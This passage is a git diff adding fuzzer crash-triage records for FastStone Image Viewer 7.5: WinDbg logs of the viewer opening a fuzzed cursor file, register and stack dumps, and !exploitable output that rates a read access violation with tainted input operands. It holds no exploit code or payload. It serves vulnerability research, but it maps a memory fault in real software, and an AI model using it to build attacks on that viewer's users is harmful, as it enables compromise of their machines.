ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a6532a7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d1f1f32 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3467afe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA44: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA44: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a44.188c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07eb7b10 edx=00003879 esi=ffdd0010 edi=07cc2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272713000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.68016e-033 4.37117e+006 1.07939e+008 0.0427198 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00254000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00254000 32ab7ab7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00254000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3467afe --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54749/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA44: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA44: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a44.188c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07eb7b10 edx=00003879 esi=ffdd0010 edi=07cc2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272713000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.68016e-033 4.37117e+006 1.07939e+008 0.0427198 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c 